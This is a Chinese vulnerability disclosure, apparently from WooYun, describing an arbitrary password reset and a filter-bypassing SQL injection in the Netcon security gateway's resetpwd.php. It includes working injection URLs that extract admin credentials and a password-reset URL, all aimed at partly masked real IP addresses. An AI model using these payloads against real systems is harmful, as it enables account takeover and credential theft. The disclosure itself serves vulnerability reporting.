网康安全网关任意用户密码修改+SQL注入(绕过全局防注入)

0x01 漏洞信息

/vpnweb/resetpwd/resetpwd.php

产生漏洞的代码：

<?php
 include("include/common.inc");
 if(!str_check($username)||!str_check($UserId)||!str_check($password1))
 exit;
 switch ($action){
 case "update":
  $dbh = db_connect();
  $update = "update ISCUserTable set Password='$password1' where UserId=$UserId";
  db_update($dbh,$update,"重置密码");
  form_logon($UserId,"",$para,"&nbsp;重置密码成功！",true);
  db_close($dbh);
  break;
 }

0x02 任意用户密码修改

$update = "update ISCUserTable set Password='$password1' where UserId=$UserId";

从上面的代码可以知道修改密码只需要UserId即可修改，而该参数是可以猜测的，于是造成了漏洞。

0x03 SQL注入

进入SQL查询的代码为：

$update = "update ISCUserTable set Password='$password1' where UserId=$UserId";

可以知道，UserId没有单引号的保护，虽然UserId经过了str_check函数的检查

if(!str_check($username)||!str_check($UserId)||!str_check($password1))exit;

0x04 SQL注入漏洞证明

https://124.133.xx.xx:4443//vpnweb/resetpwd/resetpwd.php?action=update&password1=111111&UserId=1%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%23

https://218.xx.167.1x/vpnweb/resetpwd/resetpwd.php?action=update&password1=111111&UserId=1%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%23

0x05 任意用户密码修改证明

首先通过SQL注入查询出一个用户的UserId,UserName,Password,如图

接下来修改该用户的密码为：wooyun

只需要提交如下的的参数

https://218.xx.167.1x/vpnweb/resetpwd/resetpwd.php?action=update&password1=wooyun&UserId=7

再次注入出UserId为7的密码：

可以看见，已经被修改为：wooyun。（密码已改回原密码）

过滤

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2014-09-29 18:11

厂商回复：

该漏洞与WooYun-2014-属同一漏洞，建议合并，谢谢

最新状态：

暂无

1. 2014-09-29 17:42 | char ( 路人 | Rank:13 漏洞数:3 | 中国平安，不只保险这么简单。)

   1

   这个可以有。

   1# 回复此人

2. 2014-10-20 10:03 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)

   0

   我靠，这尼玛也可以啊。到底咋写的。而且他全局怎么过滤的啊……

   2# 回复此人